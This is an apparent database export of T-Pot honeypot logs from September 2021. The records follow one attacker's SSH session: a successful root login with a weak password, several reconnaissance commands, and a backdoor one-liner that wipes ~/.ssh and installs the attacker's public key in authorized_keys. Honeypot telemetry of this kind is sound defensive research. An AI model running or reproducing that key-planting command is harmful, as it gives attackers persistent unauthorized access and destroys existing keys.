35305	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.706492+03	2021-09-20 15:15:03.09469+03	{"_id": "jQYbA3wBvYTbRNuElFuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "159.253.30.249", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.18009281158447266, "duplicate": true, "timestamp": "2021-09-20T12:08:30.706492Z", "@timestamp": "2021-09-20T12:08:30.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35306	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.749213+03	2021-09-20 15:15:03.09669+03	{"_id": "mAYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "159.253.30.249", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11503171920776367, "duplicate": true, "timestamp": "2021-09-20T12:08:31.749213Z", "@timestamp": "2021-09-20T12:08:31.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35307	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.634809+03	2021-09-20 15:15:03.097689+03	{"_id": "lQYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:31.634809Z", "@timestamp": "2021-09-20T12:08:31.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35308	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.957355+03	2021-09-20 15:15:03.09869+03	{"_id": "pQYbA3wBvYTbRNuEnFtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:32.957355Z", "@timestamp": "2021-09-20T12:08:32.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35310	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.729306+03	2021-09-20 15:15:03.10169+03	{"_id": "oQYbA3wBvYTbRNuEnFtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "159.253.30.249", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.19648432731628418, "duplicate": true, "timestamp": "2021-09-20T12:08:32.729306Z", "@timestamp": "2021-09-20T12:08:32.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35311	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:33.350064+03	2021-09-20 15:15:03.10269+03	{"_id": "ogYbA3wBvYTbRNuEnFtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:33.350064Z", "@timestamp": "2021-09-20T12:08:33.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35312	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.062276+03	2021-09-20 15:15:03.10369+03	{"_id": "pgYbA3wBvYTbRNuEoFtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:34.062276Z", "@timestamp": "2021-09-20T12:08:34.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35313	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:33.692707+03	2021-09-20 15:15:03.10469+03	{"_id": "rAYbA3wBvYTbRNuEoFtU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:33.692707Z", "@timestamp": "2021-09-20T12:08:33.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35314	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:33.549937+03	2021-09-20 15:15:03.10569+03	{"_id": "qQYbA3wBvYTbRNuEoFtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "159.253.30.249", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.20050382614135742, "duplicate": true, "timestamp": "2021-09-20T12:08:33.549937Z", "@timestamp": "2021-09-20T12:08:33.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35315	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.416024+03	2021-09-20 15:15:03.106691+03	{"_id": "rgYbA3wBvYTbRNuEoFtU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:34.416024Z", "@timestamp": "2021-09-20T12:08:34.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35317	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:27.3303+03	2021-09-20 15:15:03.10969+03	{"_id": "YgYbA3wBvYTbRNuEhFv1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:36502 (192.168.176.2:22) [session: 8881b39fe104]", "session": "8881b39fe104", "@version": "1", "protocol": "ssh", "src_port": 36502, "dest_port": 22, "timestamp": "2021-09-20T12:08:27.330300Z", "@timestamp": "2021-09-20T12:08:27.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	SE
35318	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:27.333323+03	2021-09-20 15:15:03.110691+03	{"_id": "YwYbA3wBvYTbRNuEhFv1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8881b39fe104", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:08:27.333323Z", "@timestamp": "2021-09-20T12:08:27.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	SE
35319	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:27.209874+03	2021-09-20 15:15:03.111691+03	{"_id": "XwYbA3wBvYTbRNuEhFv1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.success", "message": "login attempt [root/toor@123] succeeded", "session": "13be58f0efff", "@version": "1", "password": "toor@123", "username": "root", "timestamp": "2021-09-20T12:08:27.209874Z", "@timestamp": "2021-09-20T12:08:27.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	SE
35320	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:08:27.49039+03	2021-09-20 15:15:03.112689+03	{"_id": "ZAYbA3wBvYTbRNuEhlsZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 1694931428778593, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36502, "dest_port": 22, "timestamp": "2021-09-20T12:08:27.490390Z", "@timestamp": "2021-09-20T12:08:27.490Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	SE
35321	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:08:27.335557+03	2021-09-20 15:15:03.114691+03	{"_id": "ZwYbA3wBvYTbRNuEh1tp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36502, "timestamp": "2021-09-20T12:08:27.335557", "@timestamp": "2021-09-20T12:08:27.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35322	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:27.827507+03	2021-09-20 15:15:03.11569+03	{"_id": "bQYbA3wBvYTbRNuEiFvf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "8881b39fe104", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:08:27.827507Z", "@timestamp": "2021-09-20T12:08:27.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	SE
35326	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.048193+03	2021-09-20 15:15:03.11969+03	{"_id": "cgYbA3wBvYTbRNuEjFvH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.048193Z", "@timestamp": "2021-09-20T12:08:29.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35327	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.169855+03	2021-09-20 15:15:03.12169+03	{"_id": "cwYbA3wBvYTbRNuEjFvH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "159.253.30.249", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "13be58f0efff", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:08:29.169855Z", "@timestamp": "2021-09-20T12:08:29.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	SE
35328	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:28.887682+03	2021-09-20 15:15:03.12269+03	{"_id": "dQYbA3wBvYTbRNuEjFvH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "8881b39fe104", "@version": "1", "duration": 1.554701328277588, "timestamp": "2021-09-20T12:08:28.887682Z", "@timestamp": "2021-09-20T12:08:28.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	SE
35329	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.106093+03	2021-09-20 15:15:03.12369+03	{"_id": "gQYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "159.253.30.249", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.1244504451751709, "duplicate": true, "timestamp": "2021-09-20T12:08:30.106093Z", "@timestamp": "2021-09-20T12:08:30.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35330	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.982343+03	2021-09-20 15:15:03.124689+03	{"_id": "egYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.982343Z", "@timestamp": "2021-09-20T12:08:29.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
